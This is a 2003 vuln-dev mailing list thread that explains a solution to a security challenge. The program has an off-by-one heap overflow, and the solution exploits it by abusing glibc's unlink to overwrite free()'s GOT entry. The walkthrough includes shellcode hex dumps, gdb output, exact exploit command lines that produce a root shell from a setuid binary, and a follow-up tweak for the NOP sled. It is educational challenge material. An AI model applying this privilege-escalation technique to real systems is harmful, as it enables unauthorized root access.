RE: vulndev1.c solution (warning SPOILER)

From: Cameron Brown (cameron_at_greyzone.com)
Date: 05/15/03

  • Next message: Bernie Cosell: "vulndev-1 and a suggestion about the ensuing discussion"
    To: "'Eric K. Jonson'" <matrix@phiral.com>
    Date: Wed, 14 May 2003 16:48:33 -0700
    
    

    Jon,

    I don't know about yours, but my version of free() (glibc-2.2.93)
    trashes bytes 8-12 of the NOP sled as a side effect of the bogus unlink.
    If I execute this trash, it acts like a call into bad memory and I
    segfault. Fortunately, I found I can avoid this by adding a 12 byte
    jump ("\xeb\x0c") at the front of the NOP sled.

    Just though it was worth mentioning.

    Cameron

    -----Original Message-----
    From: Jon Erickson [mailto:matrix@phiral.com]
    Sent: Wednesday, May 14, 2003 1:57 PM
    To: vuln-dev@securityfocus.com
    Subject: Re: vulndev1.c solution (warning SPOILER)

    Okay, I got a lot of e-mails asking for a more in-depth explanation of
    this.. so instead of answering these e-mails individually, I'm going to
    post to the list... cuz I figured it might be helpful to everyone..

    And if I mess anything up, please correct me.. here goes..

    On Tue, 13 May 2003 18:22:45 -0700
    Jose Ronnick <matrix@phiral.com> wrote:
    >
    > matrix@overdose vuln-dev $ cat vulndev1.c
    > // vulndev-1.c
    > // vuln-dev mailing list security challenge #1
    > // by Aaron Adams <aadams@securityfocus.com>
    > // Spot the error in this program.
    >
    > #include <stdio.h>
    > #include <stdlib.h>
    >
    > #define SIZE 252
    >
    > int
    > main(int argc, char *argv[])
    > {
    > int i;
    > char *p1, *p2;
    > char *buf1 = malloc(SIZE);
    > char *buf2 = malloc(SIZE);
    >
    > if (argc != 3)
    > exit(1);
    >
    > p1 = argv[1], p2 = argv[2];
    > printf("p1 is at %p\n", p1); // DEBUG
    > strncpy(buf2, p2, SIZE);
    > for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
    > buf1[i] = p1[i];
    > free(buf1);
    > free(buf2);
    > return 0;
    > }

    This is just the code with an added debugging statement to display the
    address of p1, which is actually the first argument (on the stack). In
    the case of a non-executable stack, the execution could be returned into
    buf1+8ish. I liked the way Marco Ivaldi used ltrace to get the
    address.. I always used to use gdb.. learn something new everyday.. =)

    > matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c
    > matrix@overdose vuln-dev $ sudo chown root.root ./vuln1
    > matrix@overdose vuln-dev $ sudo chmod u+s ./vuln1

    Just compiling and setting the binary suid root...

    > matrix@overdose vuln-dev $ objdump -R ./vuln1
    >
    > ./vuln1: file format elf32-i386
    >
    > DYNAMIC RELOCATION RECORDS
    > OFFSET TYPE VALUE
    > 08049654 R_386_GLOB_DAT __gmon_start__
    > 0804963c R_386_JUMP_SLOT malloc
    > 08049640 R_386_JUMP_SLOT __libc_start_main
    > 08049644 R_386_JUMP_SLOT printf
    > 08049648 R_386_JUMP_SLOT exit
    > 0804964c R_386_JUMP_SLOT free
    > 08049650 R_386_JUMP_SLOT strncpy
    >

    Here, I'm really going after the like with "free" on it. This is the
    address of free in the Global Offset Table (GOT). This table contains
    the addresses of various functions and is used by the Procedure Linking
    Table (PLT). The PLT has pointers to pointers in it.. PLT contains
    pointers to the GOT, which has pointers to the various functions. Funny
    thing is.. the PLT is marked read-only.. but the GOT isn't.. =)

    The basic idea here is to overwrite the address of the free() function
    in the GOT, with the address of my shellcode. Then when the program
    tries to call free() for the second time, instead of jumping to the
    free() function, execution will flow to the shellcode...

    Also, you could use dtors here...

    >
    > matrix@overdose vuln-dev $ pcalc 0x4c-12
    > 64 0x40 0y1000000

    Okay, here I'm just subtracting 12 from the address of the free()
    function.. to get the address 0x08049640.. This is because later I'm
    going to be tricking the unlink part of the free call.. When memory is
    allocated on the heap, there's a control structure (like a header) for
    each chunk.. part of this struct are pointers back (bk) and forward
    (fd) bk is suppose to point to the previous chunk and fd at the next
    chunk.. Anyway.. part of the unlink call does this to the next chunk
    header:

    *(next->fd + 12) = next->bk

    err... that's confusing... this might make it a bit clearer...

    matrix@overdose vuln-dev $ ulimit -c unlimited
    matrix@overdose vuln-dev $ gcc -o vuln vulndev1.c matrix@overdose
    vuln-dev $ ./vuln `perl -e 'print "A"x253;'` ABCD1234 p1 is at
    0xbffff833 Segmentation fault (core dumped) matrix@overdose vuln-dev $
    gdb -q -c core ./vuln Core was generated by `./vuln
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    '.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0 0x40096acf in _int_free () from /lib/libc.so.6
    (gdb) x/i $eip
    0x40096acf <_int_free+191>: mov %eax,0xc(%edx)
    (gdb) info reg eax edx
    eax 0x34333231 875770417
    edx 0x44434241 1145258561
    (gdb)

    So the instruction it barfed on was "mov %eax, 0xc(%edx)". Basically,
    it's trying to copy the address from the register eax into edx shifted
    by 12 bytes.. so... to get the address from eax to copy into the address
    0x0804964c, we need to supply it with 0x08049640 (12 less)... more on
    this later..

    > matrix@overdose vuln-dev $ od -ch shell
    > 0000000 1 300 260 F 1 333 1 311 315 200 353 026 [ 1 300
    210
    > c031 46b0 db31 c931 80cd 16eb 315b 88c0
    > 0000020 C \a 211 [ \b 211 C \f 260 \v 215 K \b 215 S
    \f
    > 0743 5b89 8908 0c43 0bb0 4b8d 8d08 0c53
    > 0000040 315 200 350 345 377 377 377 / b i n / s h
    > 80cd e5e8 ffff 2fff 6962 2f6e 6873
    > 0000056
    > matrix@overdose vuln-dev $ wc -c shell
    > 46 shell

    Just displaying the shellcode and it's length...

    > matrix@overdose vuln-dev $ pcalc 252-46
    > 206 0xce 0y11001110

    subtracting the shellcode length from the buffer length..

    > matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat
    > shell``printf "\x0b"` `printf "\x40\x96\x04\x08ABCD"` p1 is at
    > 0xbffff839 Segmentation fault

    Run the program once to get the address of p1..

    > matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat
    > shell``printf "\x0b"` `printf "\x40\x96\x04\x08\x39\xf8\xff\xbf"`
    > p1 is at 0xbffff839
    > sh-2.05b# id
    > uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
    > sh-2.05b#

    and then feed it back in for the return address.. if you notice in the
    gdb session above, edx and eax were ABCD and 1234, respectively.. So
    instead of ABCD, we use the address of free() in the GOT minus 12.. and
    instead of 1234, we use the address to the shellcode.. I put 206 bytes
    of A in front of the shellcode to act as a NOP sled.. the character A is
    equivalent to the machine code instruction "inc %ecx" in x86 arch.. so
    it basically works the same.. but it's just printable and cooler..
    Having this sled as a spacer just gives me 206 bytes of slop space..

    as for the byte of \x0b.. this could have really been anything, as long
    as the least sig bit was 0x1.. This is how the allocation/deallocation
    functions mark the previous chunk as in use.. This tricks the first
    free() call into overwriting the GOT entry, using data from buf2 (which
    it thinks it part of a chunk header).. I hope this helped clarify.. if
    anyone else can add more to this please do..

    -- 
    %JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXq
    v-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-<C19-~mvIP-PqcJ-
    yaa7P-c0oe-rAypP-I$*F-q)cjP-*22a-WPjDP-5134-tPUn-w4wxP-118B-WV4w-xx4vPPP
    PPPPPPPPPPPPPPPPPPP
    

  • Next message: Bernie Cosell: "vulndev-1 and a suggestion about the ensuing discussion"

    Relevant Pages

    • Re: Regex or Progress? Whos fault? - How to exploit free()
      ... >definitely NOT in regexp, but in progress itself, because overflow was ... during an attempt to use the "unlink macro" to execute shellcode. ... Heres a snapshot of the chunk I would use to take advantage of a test program. ... 100108c0 R_PPC_JMP_SLOT exit ...
      (Vuln-Dev)
    • [Full-Disclosure] Exploit for CVS double free() for Linux pserver
      ... linked lists, or the last remaindered chunk ... both BK and FD pointers of the bin point to the chunk, ... we make another request to the program that will have to allocate to ...
      (Full-Disclosure)
    • Exploit for CVS double free() for Linux pserver
      ... linked lists, or the last remaindered chunk ... both BK and FD pointers of the bin point to the chunk, ... we make another request to the program that will have to allocate to ...
      (Full-Disclosure)
    • Exploit for CVS double free() for Linux pserver
      ... linked lists, or the last remaindered chunk ... both BK and FD pointers of the bin point to the chunk, ... we make another request to the program that will have to allocate to ...
      (Bugtraq)
    • Re: References to multidimensional array
      ... > I have a brain cramp and I need some help. ... > I have a chunk of code below which demonstrates ... > a problem I have with multidimensional arrays. ... Pointers to pointers are not compatible with ...
      (comp.lang.cpp)